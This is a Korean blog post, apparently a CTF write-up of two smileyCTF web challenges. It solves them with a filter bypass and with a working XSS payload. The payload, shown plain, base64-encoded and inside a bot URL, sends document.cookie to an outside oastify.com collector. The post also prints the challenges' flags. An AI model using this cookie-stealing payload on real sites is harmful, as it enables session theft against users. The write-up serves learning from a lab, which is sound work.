Sculpture Revenge
import document
output = document.getElementById("output")
output.innerHTML = '<img src="x" onerror="location.href=\'http://tkhx781vn4m07jjdkcwp23wsjjpad61v.oastify.com/?\' + document.cookie">'
python을 js로 구현한 라이브러리를 이용해 xss유도( import document print dir(document))을 이용해 사용가능한 함수 확인
aW1wb3J0IGRvY3VtZW50CgpvdXRwdXQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgib3V0cHV0IikKb3V0cHV0LmlubmVySFRNTCA9ICc8aW1nIHNyYz0ieCIgb25lcnJvcj0ibG9jYXRpb24uaHJlZj1cJ2h0dHA6Ly90a2h4Nzgxdm40bTA3ampka2N3cDIzd3NqanBhZDYxdi5vYXN0aWZ5LmNvbS8/XCcgKyBkb2N1bWVudC5jb29raWUiPic=
https://web-sculpture-revenge-bx35z9ge.smiley.cat/bot?code=aW1wb3J0IGRvY3VtZW50CgpvdXRwdXQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgib3V0cHV0IikKb3V0cHV0LmlubmVySFRNTCA9ICc8aW1nIHNyYz0ieCIgb25lcnJvcj0ibG9jYXRpb24uaHJlZj1cJ2h0dHA6Ly90a2h4Nzgxdm40bTA3ampka2N3cDIzd3NqanBhZDYxdi5vYXN0aWZ5LmNvbS8/XCcgKyBkb2N1bWVudC5jb29raWUiPic=
base64로 인코드후 bot에 코드로 전달
.;,;.{we_love_cattle_no_flags_in_dist_trust_we_know_what_we_are_doing_yep}
Extension Mania
봇에서 15초 대기하기에 16.5초 대기, 호스트 검증후 shouldGiveFlag = true;을 통해 플래그 제공조건을 줌
해당부분에서 params가아닌 paramref로 되어있어 이부분에 접근한다면 error를 일으켜 필터링( coolctfgames.localhost )을 안하게 만들수있기에 #값을 이용해 아무값을 입력해 key와 value를 넣어줌
http://coolctfgames.localhost:3000#bypass=true
로 봇요청
https://web-extension-mania-f8xd9nd2.smiley.cat/bot/status
경로로 이동하여 확인
".;,;.{th3_d0wns1d3s_0f_3xt_ap1_abus3_and_r0ll1ng_y0ur_0wn_ur1_pars3rs}"
'웹' 카테고리의 다른 글
IERAE CTF 2025-web-풀이 (0) | 2025.06.21 |
---|---|
smileyCTF-web-공부 (1) | 2025.06.19 |
N0PSctf-web-공부 (1) | 2025.06.04 |
Breach CTF-web-Framework Follies (0) | 2025.04.11 |
nodejs로 파일 업로드 필터링 우회 방법 (0) | 2025.04.09 |